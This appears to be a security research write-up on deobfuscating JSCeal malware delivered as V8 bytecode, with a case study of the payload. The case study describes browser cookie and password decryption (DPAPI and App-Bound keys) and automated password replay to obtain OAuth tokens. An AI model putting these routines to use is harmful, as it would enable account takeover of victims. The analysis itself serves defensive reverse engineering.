Later in the article, we use one selected JSCeal payload as a case study and walk through portions of the recovered code, including browser and cryptocurrency theft, keylogging, screenshot capture, and a local HTTPS interception proxy.
Distributed payloads
Let’s start by understanding the role of the JSC files in the whole attack chain.
The payloads were delivered in campaigns that began with malvertising and were followed by multiple PowerShell scripts. The complete flow is illustrated below:
Figure 1 – The final stage infection flow (image first presented in [1])
The last stage consists of two ZIP archives downloaded by PowerShell:
node.zip – a packaged Node.js runtime
build.zip, containing the final payload and supporting components:
winpty-agent.exe – an agent for a hidden Windows console (open source)
winpty.dll – a module that allows interaction with the hidden console (open source)
app.jsc – The JSCeal malware payload
preflight.js – a decompression script
Native .node modules (PE format) used by the payload
The final JSC payload is distributed in Brotli-compressed [5] form and decompressed by preflight.js.
The loading is triggered by the last PowerShell script in the chain, containing the command line:
.\node.exe -r .\preflight.js .\app.jsc (the option -r forces Node to run a JS file before loading the main module).
The size and complexity of the JSC payloads varied. They were all obfuscated with the same open-source obfuscator [6].
Analysis methodology
While typical analysis procedures were sufficient for the earlier stages, the final JSC payload remained challenging. Because it was delivered as a V8 code cache rather than JavaScript source, conventional source-level JavaScript instrumentation was not directly applicable. Native-level hooking and dynamic binary instrumentation (DBI) could reveal process and API activity, but did not recover the payload’s JavaScript-level semantics at a useful level. Sandbox execution therefore provided mainly low-level system-interaction telemetry. To understand the payload’s logic, we turned to static analysis, which required deobfuscation.
Since the JSC payload is Brotli-compressed, the first step is to remove this layer. This yields the V8 code cache, which can then be supplied to a compatible disassembler. The disassembled output is then passed to the View8-based pipeline, which includes decompilation and transformation by multiple deobfuscation passes. Each pass can be used as a self-contained script. To support modularity, we extended View8 with pickle serialization of its internal object graph. We also added function-level visibility controls and metadata annotations (details in Appendix A).
Figure 2 – the pipeline demonstrating steps applied to the original JSC sample
Our toolkit is publicly available at https://github.com/hasherezade/jsc_deobfuscator [7]
The following flowchart describes the major steps of the pipeline; details of each follow in subsequent sections.
Figure 3 – the flowchart of the deobfuscation pipeline
We applied the pipeline to 23 JSCeal payloads collected over several months (Appendix B); it produced analyzable output in all cases.
Environment Setup
The toolkit used for the main body of this research was developed on Linux.
The JSCeal generation analyzed in depth in this research used a bundled Node.js runtime based on V8 10.2.154.26-node.25. The distributed app.jsc was Brotli-compressed; after decompression, the resulting file was a V8 code cache that could be supplied to a compatible disassembler.
V8 cached data is version-sensitive, so before decompilation we first need to obtain a correct bytecode listing. We followed the general approach used by the View8 fork from j4k0xb [4]: build the corresponding V8 version, apply the required patches, and use a small program based directly on the V8 API to consume the cache.
During this process, we encountered a bug in the original V8 code that caused a string-printing problem and corrupted some disassemblies containing wide characters. It passed a 16-bit code unit through byte-oriented printable-character handling, which could inject malformed output into string literals and break View8 downstream. We patched the printer so that printable ASCII remains literal, byte-sized non-printable values use \xNN, and wider values are emitted as \uNNNN. The patch is included in the public repository [9], and the complete build procedure is documented on the project Wiki [10].
The released toolkit contains both the disassembler source and the V8 patches required for the supported generation. A prebuilt Linux disassembler is also distributed with the project [7] release.
Decompiled output
Once we have the correct disassembly, we can proceed with decompilation. However, there are some details to keep in mind.
View8 does not reconstruct the original JavaScript source. It lifts V8 bytecode into pseudocode that reflects its underlying execution model.
Recovered functions are represented in a form such as:
function func_[name]_0x[disassembly_address]([arguments_list])
The entry point is a function labeled start, for example: func_start_0x323d9daddcd9.
In ordinary View8 output, the hexadecimal suffix is derived from address values emitted during disassembly. Because these values may differ between runs, our modified View8 can normalize function identifiers deterministically based on parse order. This makes the results reproducible (details: Appendix A).
The pseudocode follows the underlying V8 concepts rather than ordinary JavaScript local-variable names. Each function can make use of its arguments, the accumulator, and a set of local virtual registers. It also has access to its own constant pool, global variables, and context storage exposed through Scope. Function arguments are represented as a0 to aN, while local virtual registers are printed as r0 to rN. ACCU denotes the current V8 accumulator value.
Functions can declare nested functions and share values with them through their surrounding context. In View8, these relationships are visible through the declarer hierarchy and Scope[...] references. Values placed into a scope by a declarer function may later be consumed by nested functions. Reconstructing those relationships is essential for JSCeal because the obfuscator frequently moves constants, decoder offsets, proxy references, and dictionary objects through scope rather than keeping them local.
As the root of the function hierarchy, the start function is the only function without a declarer. The start function also initializes the global bindings used throughout the program. In raw View8 output this is visible through DeclareGlobals, for example:
For readability, our modified View8 marks global identifiers explicitly with a global_ prefix. The prefix prevents collisions with local register notation and makes later propagation easier to follow.
Since the original JavaScript was obfuscated before compilation, the View8 output contains artifacts introduced by the obfuscator, making the recovered pseudocode considerably harder to interpret. A detailed explanation of each obfuscation layer and the applied countermeasures is provided later in this article.
For example, a single function from a JSCeal payload decompiled by View8 looks like this:
This is already significant progress compared with the raw bytecode, but the remaining obfuscation still makes most of the output effectively unreadable. The rest of the pipeline progressively removes those layers and transforms the output into pseudocode suitable for practical analysis.
One syntax detail is worth keeping in mind throughout the article: View8 uses its own pseudocode notation and should not be interpreted as literal JavaScript. For example, an expression such as !r6 === "0" represents the negation of the entire comparison — semantically: r6 !== "0".
Obfuscation layers
The analyzed JSCeal payloads were protected with javascript-obfuscator [6]. Its configuration is highly customizable, and the exact combination varied between samples. Across the corpus, we repeatedly observed four groups of transformations:
Renamed identifiers. Function and variable names are replaced with short or nonsensical identifiers.
String protection. Important strings are split into chunks and reconstructed through decoder functions. In the dominant variant observed in JSCeal, the stored chunks are encoded and RC4-protected.
Control-flow flattening. Selected functions are transformed into state machines whose intended block order is hidden behind a dispatcher.
Proxy and operation indirection. Function calls are forwarded through proxy helpers, while simple operations such as addition, subtraction, comparison, or function invocation are wrapped in dedicated helper functions.
The deobfuscation pipeline has to follow a specific order because the result of one pass can expose information required by the next. For example, string deobfuscation reveals not only the text used in the code, but also keys for dictionaries containing variables and function references.
Propagating values
Before we can start peeling away the obfuscation layers, we need to set the stage by propagating the variables used in the code and performing all the necessary simplifications.
Often, functions that we have to parse and resolve are not called directly, but through different variables: globals, scopes, or local registers. A similar problem applies to their arguments. Until we have everything filled and mapped, it won’t be possible to really understand the flow.
Propagating values is non-trivial: it is done in multiple ways, at different layers of the obfuscation process. Demonstrating the full variety used would take too much space, so let’s focus on a few examples. We illustrate with string decryption functions here, but the same propagation logic applies to proxy resolution and operation inlining described later. Details on the actual string deobfuscation are given in the next section, “Reconstructing strings”.
Below is a tiny function used to deobfuscate a chunk of a string. The input argument (a1) is modified by a value passed via Scope.
Without knowing the actual value, we won’t be able to do the calculation required for deobfuscation. The scope is filled by a function higher in the declaration hierarchy. Once we find the particular line, we are ready to fill it.
function func_yZ_0x24543ecedfc9(a0)
{
[...]
Scope[10083][2] = new {"c": 742}
[...]
In this form, the function is ready to be parsed, and we can see that the value 742 is subtracted from the input argument.
Another problem is that in many parts of the code, calls to interesting functions have their arguments passed via local variables. While parsing a line, it is not immediately clear what arguments are being passed.
In the given example, the function deobfuscating a string chunk, func_r_0x24543eceeb91, is called with two arguments that are passed via dictionaries. We first collect those dictionaries, and then substitute their uses with corresponding values.
Once those preparations are completed, we are ready to parse the functions and resolve their outputs.
Reconstructing strings
String reconstruction is the first major deobfuscation stage. Strings are valuable artifacts on their own: they expose API names, paths, commands, URLs, object fields, and targeted services. More importantly for this pipeline, they also unlock later transformations. Recovered strings become dictionary keys, property names, and control-flow order sequences used by the unflattening and proxy-resolution passes.
The analyzed samples used two string-obfuscation variants provided by javascript-obfuscator [6]. We implemented [7] a separate pass for each.
The simpler variant, addressed by deobf_str1.py, stores string fragments in an array and retrieves them through an index transformation. It appeared only in an older sample.
The dominant variant, addressed by deobf_str2.py, adds several more layers: encoded string chunks, RC4 encryption, a large family of decoder wrappers, and arithmetic transformations of the chunk index. This is the variant described below.
Details on deobfuscation modes used by each payload are listed in Appendix C.
The string obfuscation rabbit-hole
Let’s take a closer look at how the most common JSCeal string obfuscation is implemented. This is the mode addressed by deobf_str2.py.
Just like in the simplest mode, each string is split into chunks. Then, each chunk is RC4 encrypted with a different key. The resulting content is Base64-encoded. Such obfuscated chunks are accumulated in a single array, stored inside one of the functions, and retrieved from there into a global scope. It is initialized in the start function.
An example of how the function holding the array of chunks may look is given below (keep in mind that the array may contain thousands of elements):
function func_KV_0x18c3e8c9a1c1()
{
r0 = Scope[0]
Scope[10824][2] = new ["s8ohWR3dRx8", "ffddSSo6sW", ... ]
}
When the program needs a string, it calls one of many decoder functions. A typical call contains a numeric value and a short RC4 key:
r2 = func_xt_0x274f42c4e909(71692, "%]hf")
The argument order is varied: some decoder functions receive (number, key), while others receive (key, number). The number is used to calculate the index of the chunk to be decrypted, relative to the aforementioned global list. The calculation is done inside the function.
To make things more complex, deobfuscation is done not just by one function, but by many similar instances. The instances may call one another, each one of them adding or subtracting a different value to the input argument. In order to calculate the actual chunk index, we have to follow the whole chain of functions, parse them, and repeat the operations they performed. At the end of the chain there is always a strongly obfuscated parent function that contributes the final operation.
The values used in calculations are not hard-coded in the function but passed via scope (details described in “Propagating values”). Example of a single deobfuscating function:
In the above case, the index was passed via argument a1. The value retrieved from the scope is first subtracted from it. The result, along with the argument a0 representing the RC4 key, is passed to the next deobfuscation function (func_xt_0x274f42c4e909) which performs similar operations. The chain of similar calls follows multiple layers until it reaches the parent function which adds or subtracts the final value from the index, retrieves the chunk from the global array, and performs the decryption operation.
Recovering the root offset
As mentioned earlier, at the top of the chain of different deobfuscating functions that call one another, there is always an obfuscated parent. Instead of deobfuscating it, we decided to treat it as a black box. Recovering its index shift involves several steps.
The parent functions are the first string decoding functions to be declared, and in the start function, they may be called directly. Just like in the case of their children, two arguments are expected: the RC4 key, and the number used for index calculation.
Once we have found the parent, we track its direct calls and collect the arguments.
We know that the chunk index is obtained by an arithmetic operation (addition or subtraction) on the passed number. We can express it as:
index = arg (+|-) X
The goal is to find the correct X (index shift). Since this value is used to calculate the index of the chunk, the upper bound is the number of chunks in the array (N). We test candidate shifts from 0 to N-1, apply each to the input index, and attempt to decrypt the resulting chunk. If the output looks like a valid string, we treat that X as the index shift candidate.
Conceptually:
for candidate_shift in 0 .. N-1:
candidate_chunk = array[(input_index + candidate_shift) mod N]
plaintext = RC4(candidate_chunk, key)
if plaintext looks plausible:
keep candidate_shift
A plausible result from a single call is not enough: an invalid chunk can occasionally produce printable text when decrypted with the given key. The implementation therefore requires at least three distinct input/output observations for the same decoder function. It computes the candidate shifts per set, intersects those sets, and accepts the value only when it produces a printable result for each. In all the analyzed payloads this condition was sufficient to find the appropriate index shift.
This can be viewed as a bounded brute-force search. The implementation tests possible index shifts within the string-array length and uses multiple independent calls to eliminate candidates that do not produce consistent printable results.
Once the root configuration is known, the pass propagates the index shift through the collected function graph to the callers, calculating the cumulative index delta applied by each individual decoder.
Overview of the string deobfuscating pass
The string deobfuscation pass requires all arguments to be filled, as described in “Propagating values”. It works in the following steps:
Retrieves the start function
Searches for the function aggregating obfuscated string chunks. It is always referenced by the start function and can be spotted by a known pattern of the call. Example:
Follows and parses the function with chunks (in the above case: func_KV_0x18c3e8c9a1c1). Stores the list for further use.
Searches all the string decoding functions, recovers the parent index shifts, and calculates the resulting index shift for each decoder function. The input arguments can be arranged in two ways: either Rc4Key, Offset or Offset, Rc4Key – this is recognized and added to the function prototype.
After the first run, the deobfuscator stores parsed and calculated arguments in a CSV file. If the pass has to be re-run, the list is pre-loaded, which saves time.
Example of the listing (format: function_name,index_shift,is_index_first):
After all the deobfuscating functions have been resolved, each of their resolved occurrences is replaced with its output value. The deobfuscated chunks are then chained together to form the full string.
After the deobfuscation is completed, the functions responsible for string decoding are no longer needed. Their representation is hidden in the code and not printed in the decompilation output.
Scale and performance
For the 23-sample dataset used in the final measurements [8], the string layer contained approximately:
130,000 encoded chunks on average, with observed values from about 19,000 to 217,000;
10,000 decoder configurations on average, with observed values from about 2,200 to 13,000.
Measured runtime for the string stage was:
mode
minimum
median
maximum
without cache
0.6 min
1.7 min
4.6 min
with cache
0.5 min
1.2 min
3.0 min
After string reconstruction, the output contains both substituted plaintext and a standalone string listing. This is often the first point at which the payload starts exposing concrete artifacts such as commands, registry paths, browser targets, cryptocurrency platforms, and the attacker’s embedded public key.
Artifact overview
In addition to the main output of the pass (which is the decompiled and pickled file), the list of all the strings is dumped as text. It helps quickly give an idea of which functionalities are implemented, and to compare different payloads.
Among the interesting artifacts, we can find the public key of the attackers:
"\n-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRdWl/ucoH+ZnVuxHrx2\ncTbwEY2LucyUqEJVl6trmNYaJTFX9qDYA8Z4VOaFO86MHg0cY1mJ8NALzTqDt20C\nlnqYtLEuo0Fqg9pJMhnEb078F31dilgdK+5bK7LgwXps06KQ+Dk7XxaqkbPFa7oZ\n73/q4FhrYEtBxFno0WJla7mq49/W4wJb753WYWTjRMjBKVaUIOtAtGdBp8Li2WX2\nPDqxftDcvT8hJf5H6tMJ3tQRpyHu7ljkwdivamG/labZpzKhijK7BMgrd7251sjh\n7zD6prnafayjK+nfD1dvok7Rd8TV8sa1FK8T0uMmGFdUVGK+X4f45AwNWn8OINLE\nVwIDAQAB\n-----END PUBLIC KEY-----"
There are strings related to deploying hidden PowerShell scripts and running content from a Base64-encoded blob:
Many of the deobfuscated strings come from Node.js modules bundled into the payload and give an idea of what functionality to expect.
Comprehensive analysis of all the artifacts is beyond this short overview. You can find the extracted strings from all analyzed samples in the directory with additional materials [8].
Control flow unflattening
Some of the most important functions of the malware are obfuscated using Control Flow Flattening (CFF).
To resolve this layer, we must make sure that all strings are deobfuscated and propagated, because they are crucial for the execution logic. In the listing produced by the previously described filter, we find some strings in the format [number0]|[number1]|[number2]... for example: “3|2|1|0|4”. Such strings denote an order of chunks to be executed.
Typically, CFF is implemented as a state machine. We can see it represented by a while loop. In each iteration of the loop, the number is fetched from the list. This number is further checked against nested if statements, directing to the chunk of code to be executed. In the simplest form, a chunk ends with continue, causing the loop to progress to another case.
We start the deobfuscation by identifying the beginnings and ends of each code chunk. For example, to find the chunk number 0, we first need to identify the if statement that actually checks against the negation of this condition: if (!r6 === "0"). Once we find the statement, we have to skip the body under it (since it is a negation) and find the first closing bracket with the same indentation as the statement itself. This is where the chunk indexed as 0 actually starts.
Once we have all the chunks mapped, we rearrange them by the order defined by the string, adjusting their indentations.
At this point the function’s intention becomes clear. It performs a lookup that returns the appropriate globalAgent for a given protocol.
The caveats
Sometimes, the chunks of code that are executed in each state are decompiled in a way that makes them difficult to separate cleanly. Let’s take a look at the following example:
while (true) //The dispatcher loop
{
r15 = Number(r4)
r4 = (Number(r4) + 1)
r14 = r3[r15]
if (!r14 === "0")
{
// Other chunks...
// [...]
}
// Chunk 0:
r15 = r2["Uugef"]
if (r15(r11, r12))
{
ACCU = 0
continue ///<- this is not the end of the chunk...
}
r15 = r2["PgJCU"]
r17 = r2["LqFvW"]
r17 = r17(r11, r12)
if (r15(r17, r5))
{
ACCU = 1
continue ///<- this is not the end of the chunk...
}
return -1
break
}
We have continue statements inside the if blocks. In the original flow, this leads to jumping back to the top of the loop and fetching another chunk from the list. But when we unflatten the flow, and remove the loop, it no longer makes sense, so this logic has to be rewritten.
The chunk should therefore look as follows after this adjustment:
The continue statements have been removed, and the code that originally followed each if statement has been moved into the corresponding else clause.
The current version of our deobfuscation pass can handle such scenarios. It automatically removes the nested continue statements and reconstructs the equivalent logic by building an else clause from the code that follows the original if statement. This has proved sufficient in the majority of the analyzed cases. However, we may occasionally encounter more complex or ambiguous variants that are not yet resolved. These cases will be addressed in future versions as our toolkit [7] evolves.
Resolving Proxies and Operations
Across the code, we often encounter functions that act as proxies for other functions. Their only role is to complicate the flow, misleading readers about the actual function being called and making its arguments harder to parse.
The simplest proxies look as follows: the actual function that is about to be called is just passed as one of the arguments.
Then, we replace their calls. After all the calls to the particular proxy are replaced with their basic meaning, the proxy itself can be hidden in the code.
As with proxy calls, there are plenty of other small functions that should be resolved and hidden. In multiple places in the code we can find operations that are implemented by functions, with obfuscated names.
For example:
function func_wcmWN_0x35459f2fab89(a0, a1)
{
return a0 in a1
}
function func_eBvDY_0x35459f2fa789(a0, a1)
{
return (a0 - a1)
}
function func_wNPyv_0x35459f2fa689(a0, a1)
{
return (a0 / a1)
}
function func_oEEDc_0x35459f2faa89(a0, a1)
{
return a0(a1)
}
The same operation can also be defined by multiple instances of an identical function (i.e. there are multiple functions implementing simple addition).
One of our deobfuscating passes is meant to replace calls to such functions with the actual operations that they represent. However, the functions may not be called directly. So, before we proceed with the substitution, we need to apply all needed simplifications.
Iterative propagation of the structures
To complicate the flow even more, the variables and functions are often not used directly. They may be first defined as a local dictionary, initialized, then passed further, to be referenced in different parts of the code.
In the snippet below, a dictionary is first assigned to the local register r1, filled with references to functions, and further assigned to the scope variable (Scope[846][21]).
Then, each of these functions is called indirectly, by one of the children of the declarer.
Notice that the keys of many of the dictionaries are strings. This is why decrypting strings is such a crucial step in the whole pipeline: without them, we are unable to proceed further.
Due to the layered nature of the obfuscator, the pass that propagates such defined structures must be run multiple times at different stages. The arguments to the string deobfuscation functions are also often passed via dictionaries set into a scope. One such example is given below – in this case, the string decoding function is called via register r5, and its two arguments are passed via Scope[846][3]:
Only after filling them in and deobfuscating strings are we able to see the actual key of the next dictionary (in the given case, it is "qQNNx"). The next run of the pass allows us to resolve this key to the value it was mapped to by another function (here: it is a reference to the function func_qQNNx_0x24149a8dfe99).
This is not the end of the rabbit-hole. The referenced function may itself use values passed in a similar way. Below we can see that it first fetches some function via Scope[845][29] using the key "PQxQy" and then calls this function with two arguments. Basically, it is a wrapper.
Finally, after resolving it to a self-contained unit we find that this whole chain leads to the execution of a simple atomic operation:
function func_PQxQy_0x24149a8dd581(a0, a1)
{
return (a0 - a1)
}
By peeling the layers, one by one, we manage to express such operations with their literal meaning. An example of the complete simplification process is given below.
Step 6 (the call resolves to an atomic operation and can be substituted by such):
r12 = r0["length"]
r10 = (r12 - a0)
The given example is just one of the possible variants in which such a propagation chain may work. It has been presented to give an idea of the underlying complexity.
Interpreting the flow
Once we have the major obfuscation layers removed, the malware starts revealing its shape. This allows us to pinpoint the most important building blocks of the whole execution flow, and guide next steps.
The entry point of the file is the function labeled start. At the very end of it, the functions that will be running the main operations are set up. Example:
This still contains some obfuscation patterns that need to be understood and removed.
Proxy functions using scopes
The start function sets up several proxy functions that are further referenced via globals. They come in a few different variants, but we will illustrate the most common type. Let’s focus on the fragments of the earlier snippet:
That function finishes by returning a reference to another function, which makes the second part of the flow. It uses the scope arguments that were previously set up:
function func_unknown_0x93e23cef9f9()
{
if (Scope[8554][3])
{
r0 = Scope[8554][3]
Scope[8554][3] = 0
Scope[8554][2] = r0(0)
}
return Scope[8554][2]
}
The first step in deobfuscating it is recognizing how these functions behave when joined as one unit. It could be represented by the following pseudo-code:
function Xr(fn, cached) {
return function thunk() {
if (fn) {
const tmp = fn;
fn = 0;
cached = tmp(0);
}
return cached;
};
}
This is a lazy, one-shot wrapper: on its first invocation it calls the supplied function and caches the result; subsequent calls return the cached value. In the initialization sites shown here, the thunk is used to reach the underlying function, so for analysis we can collapse that indirection and expose the actual target directly.
We can observe it referenced similarly to the example below:
There is now a global thunk wrapping the target function. Once we understand this indirection, in the initialization path shown here we can expose the target directly:
Further substituting the globals with their literal values and removing all the proxy layers finally reveals the bare dispatcher functions that can be easily followed and analyzed.
After the final transformation, the function presented above takes the following form:
After the deterministic deobfuscation passes, the output is structurally much cleaner: strings are visible, important flattened flows have been reconstructed, and many proxy and operation-wrapper functions have disappeared. One problem remains unavoidable: compilation and obfuscation have destroyed the original semantic function names.
For a small program, an analyst could rename important functions manually. JSCeal contains thousands of functions, including a large amount of bundled dependency code, so manual naming does not scale. We therefore added an optional LLM-assisted renaming stage as a navigation aid.
The distinction is important: the LLM does not perform the core deobfuscation, and its output is not treated as evidence. It receives code that has already been recovered by the static pipeline and proposes labels intended to make the resulting function graph easier to browse.
Dependency-aware renaming
Because functions depend on other functions, the order in which they are sent to the renamer matters.
We start by building a dependency graph from the entry point. In the default mode, the graph follows direct function calls. In greedy mode, it follows all visible function references, including callbacks, handlers, and functions assigned into objects. Greedy mode therefore covers a broader part of the program, but it also produces a much larger graph.
Renaming proceeds leaf-first. Functions with the fewest unresolved dependencies are processed first. Each proposed name is then propagated into dependent functions before the next layer is processed. By the time the renamer reaches a high-level function, many of its callees already carry descriptive labels.
Conceptually:
Figure 4 – The conceptual flow of the function renamer
The tool can send functions individually or group them into bulk requests. Generated mappings are stored in CSV, which also acts as a cache: interrupted runs can continue without re-querying functions that have already been covered. Reviewed or externally generated CSV mappings can also be applied without contacting an LLM.
The public release supports Anthropic, OpenAI, and Ollama backends. It also provides a focused --func mode for requesting a detailed analysis of one selected function, including a proposed name, behavior summary, evidence, and unresolved uncertainty.
Evaluating the proposed names
Because a plausible-sounding function name may still be incorrect, we evaluated the renaming stage separately from the deterministic deobfuscation.
The supporting experiments were conducted by extracting selected, context-rich function trees, starting from the roots responsible for the malware initialization logic, submitting them to the LLM-assisted analysis workflow, and manually verifying the proposed names.
For the final comparison, we generated names from the same normalized deobfuscated base using Claude Sonnet 4.6 and GPT-5.4-mini. Note that these models are not perfectly matched vendor tiers, but practical model configurations for processing payloads this large that were available at the time. This evaluation should be treated as an example, not as a ranking.
The results of one of the experiments are available in the repository of the supplementary materials [8] (session1).
Across more than 21,000 functions, the two models selected exactly the same textual name only 9.3% of the time. This provided a broad measure of naming agreement, but not of semantic correctness. Different names can describe the same behavior while failing an exact-string comparison. We therefore performed a separate contextual evaluation on 142 selected function trees, each built from a selected root toward its dependencies.
Across 142 selected roots:
both proposed names were semantically reasonable in 117 cases;
only the Sonnet name held up in 22 cases;
only the GPT name held up in 3 cases.
When we applied a stricter criterion — whether the name was both correct and sufficiently informative about the function’s actual role — Sonnet produced 128/142 useful names, while GPT produced 30/142. In another 90 cases, the GPT name still identified the correct general area of behavior but was too broad or imprecise to serve as a strong semantic label.
A representative example is a function that locates a certificate in the Windows certificate store and removes it. GPT labeled it findCertificate, capturing part of the implementation but missing the function’s effect. Sonnet proposed removeCertificate, which better described the behavior.
Sonnet was not infallible either. In one case, it proposed decryptLocalStateFile, while the function actually read and decrypted a DPAPI master-key file from the Windows Protect directory and verified its HMAC. The label sounded plausible because the surrounding code dealt extensively with browser decryption, but the function body did not support that exact interpretation.
These examples define the boundary of the method. The proposed name is a hypothesis. The function body is the evidence.
Strings, APIs, file paths, called functions, and data flow remain the basis for every important analytical claim. The LLM stage helps us find and navigate relevant logic faster; it does not replace reverse engineering.
Example: getGlobalAgent
The running example from the earlier deobfuscation stages is a good illustration. After string recovery, control-flow unflattening, and proxy/operation cleanup, its behavior is already visible: it normalizes a protocol and returns the appropriate HTTP or HTTPS global agent.
The model proposed the name getGlobalAgent, which is well supported by the body:
function getGlobalAgent(url) {
const protocol = url.split(":")[0];
if (protocol === "http") {
return http.default.globalAgent;
}
if (protocol === "https") {
return https.default.globalAgent;
}
if (protocol === "ws") {
return http.default.globalAgent;
}
if (protocol === "wss") {
return https.default.globalAgent;
}
throw new Error("Invalid protocol");
}
The useful part is not that the model “discovered” the behavior. The static pipeline had already exposed it. The name simply compresses that understanding into a label that can be propagated into higher-level callers.
Overview of the deobfuscated code
Although all the JSCeal payloads have similarities, their exact functionality may vary. In this part we will do a brief case study based on one selected sample:
Details of the campaign delivering this particular payload are given in Microsoft’s article [12] and Cato article [13].
Note that a comprehensive analysis of JSCeal’s capabilities is beyond the scope of this article; here we highlight selected functions to demonstrate that the deobfuscated output is sufficient for practical threat analysis.
Initialization
After cleaning up the whole flow, the start function becomes much smaller. We additionally applied the optional LLM-assisted renaming stage in greedy mode, which makes the recovered function graph easier to navigate.
Multiple structures are initialized in the start function. The proposed labels provide useful hints about their roles; the relevant behavior can then be verified by inspecting the recovered function bodies.
From the recovered assignments, we can see that a structure prepared locally is then copied into a global variable. For example:
The initialization of the actual malware logic is always at the end of the start function. Since all the functions are called directly now (not via proxies), and are renamed, we can quickly focus on those that actually initialize the malware functionalities.
As we can see above, there are two alternative initialization functions, both leading to the setup of handlers for the core functionality. The decision about which path to follow is made by the function labeled func_setupWorkerPrimary_0x100000001, which returns true when the code is running in the primary cluster process and on the main thread. It also configures the primary cluster process to use "advanced" serialization.
function func_setupWorkerPrimary_0x100000001(a0)
{
if (!global_uE["default"]["isPrimary"])
|| (!(require("worker_threads"))["isMainThread"])
{
return false
}
if ((a0))
{
ACCU = Error
ACCU = Error("Worker root already configured")
}
r4 = global_uE["default"]
if (r4["isPrimary"])
{
r4 = global_uE["default"]["setupPrimary"]
r6 = new {"serialization": null}
r6["serialization"] = "advanced"
ACCU = r4(r6)
}
return true
}
Originally, both initialization functions that follow the decision were obfuscated with Control Flow Flattening, and used wrapped calls. Now their meaning is much clearer, and the inner function names give us a better approximation of what to expect.
Comparing the initialization functions across different payloads can quickly give us an approximate idea of what has changed (although the structure is not always directly comparable).
Let’s zoom in on one of the functions called from this initializer: func_initializeMainRouter_0x10000c910. It sets up a large collection of handlers, and the proposed names give a quick indication of what to expect inside:
The structure is a tRPC router tree: each initialize*Router or initialize*Module call builds a set of procedures and assigns them to a global. The same router / procedure / query / mutation pattern recurs throughout the payload, including in the security, screen capture, and cryptocurrency modules shown later. For example:
Initialization functions frequently end by registering a worker thread to run the handlers they just built. Here func_runIfWorkerPool_0x10000000b binds the security-impersonation pool to func_impersonateUserAndInit_0x10000d2ee, which impersonates a user security context before attaching the router to a worker socket. The remaining modules follow the same shape; below we look at the ones that expose the most capability.
Uploading collected data
Among the recovered initialization functions are routers that register handlers for collected secrets. Following those handlers downstream shows how the local routes reach the malware’s network client.
An analogous route handles collected wallet mnemonic data through /wallets/mnemonic/save:
function func_initializeMnemonicRouter_0x10000c89d()
{
[...]
r11["path"] = "/wallets/mnemonic/save"
[...]
r5["saveMnemonic"] = r6(func_saveMnemonicHandler_0x10000c89c)
// leads to: func_saveMnemonic_0x1000005dc
}
The handler passes the record type, collected value, mutation callback, and fields used by the common diff/save helper to global_hl. After computing whether the new value changes the stored state, the helper invokes the corresponding global_iB mutation when a save is required.
The URL builder constructs an RPC endpoint in the form https://api.<domain>/rpc or wss://api.<domain>/rpc, and adds machineId and token query parameters.
It submits the supplied binary payload as application/octet-stream and expects an arraybuffer response.
Stealing browser data
The browser module is one of the broader components recovered from the payload. Rather than implementing a parser for a single Chrome profile, JSCeal defines a common abstraction for several Chromium-based browsers.
In the analyzed sample, the configuration includes Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Avast Secure Browser, Vivaldi, and Cốc Cốc. For each browser, the malware stores the executable name and the expected location of its user-data directory. Some entries also contain browser-specific launch arguments, extension settings, and cryptographic material.
The code reads the browser’s Local State file and uses its profile.info_cache structure to enumerate available profiles. Each profile is then represented by an object exposing separate iterators for the artifacts that can be collected:
The Local State file also contains information required to decrypt protected browser data. JSCeal retrieves both the traditional encrypted key and the newer App-Bound encrypted key:
Note: the _GeneratorGetResumeMode check is V8’s internal mechanism for resuming after an await; it can be treated as control-flow bookkeeping.
Cookies are read directly from the SQLite database located at:
<profile>\Network\Cookies
The query retrieves both plaintext and encrypted values, along with the host, path, expiry time, HttpOnly flag, and SameSite setting:
SELECT
host_key,
path,
name,
CAST(value AS BLOB) AS plain_value,
CAST(encrypted_value AS BLOB) AS encrypted_value,
is_httponly,
samesite,
expires_utc
FROM cookies
If a plaintext value is not present, the encrypted value is passed to the browser-data decryption routine. The resulting record is normalized into a structure such as:
The decryption implementation supports multiple Chromium data formats. Values prefixed with v10 or v11 are decrypted using the key recovered through DPAPI. Values prefixed with v20 use the App-Bound key. Records without one of these prefixes are passed directly to the native DPAPI unprotection routine, optionally under the security context of the browser’s user session.
The responsible code:
function func_decryptPassword_0x10000af0f(a0, a1, a2, a3)
{
r1 = Scope[1930][27]["startsWith"]
if (r1(a0, "v10"))
r1 = Scope[1930][27]["startsWith"]
|| (r1(a0, "v11"))
{
if (!a1)
{
ACCU = Error
ACCU = Error("DPAPI key is required")
}
r4 = a0["subarray"]
r4 = r4(3)
return func_decryptAesGcm_0x10000af16(r4, a1)
}
r1 = Scope[1930][27]["startsWith"]
if (r1(a0, "v20"))
{
if (!a2)
{
r2 = "AppBound key is required"
ACCU = Error
ACCU = Error(r2)
}
r4 = a0["subarray"]
r4 = r4(3)
return func_decryptAesGcm_0x10000af16(r4, a2)
}
if (a3 == null)
{
ACCU = Error
ACCU = Error("Session id is required")
}
return func_decryptData_0x10000af12(a0, a3)
}
This gives JSCeal access not only to raw browser files, but to usable records containing session cookies, usernames, and decrypted passwords. The data can be saved through the malware’s collection handlers, consumed by platform-specific modules, or reused immediately by another part of the browser component.
One of those uses goes beyond passive credential collection.
From stolen browser data to active session replay
The browser router contains a dedicated operation named saveAndroidTokens:
The implementation uses Puppeteer together with puppeteer-extra. Before launching the browser, it registers a set of core and stealth plugins. It also uses ghost-cursor to perform some of the page interactions.
The malware does not download a separate Chromium build. It launches one of the browsers already installed on the machine, using the executable paths and profiles discovered by the browser module. The launch configuration explicitly selects Puppeteer’s headless shell mode:
For each recovered email address, it queries the passwords previously extracted from browser storage. It then selects the corresponding account using a selector built from the email address:
When a password challenge is reached, JSCeal iterates over the candidate passwords associated with that account:
for (password of recoveredPasswords) {
console.info("Trying password " + password)
await page.type(
"input[type='password']",
password
)
// Continue the authentication flow and inspect the result.
}
An invalid password is detected through the state of the password input. A successful attempt is expected to lead either to the programmatic OAuth endpoint or to another supported challenge stage.
After authentication, the malware reads the browser’s cookies and searches specifically for:
user_id
oauth_token
The result is returned together with the password that produced it:
This changes the nature of the browser-stealing capability. JSCeal does not just copy cookies and password databases for later examination by the attacker. It can reconstruct a browser session, replay the victim’s cookies, correlate Google accounts with passwords recovered from the same host, automate authentication challenges, and obtain a fresh OAuth token.
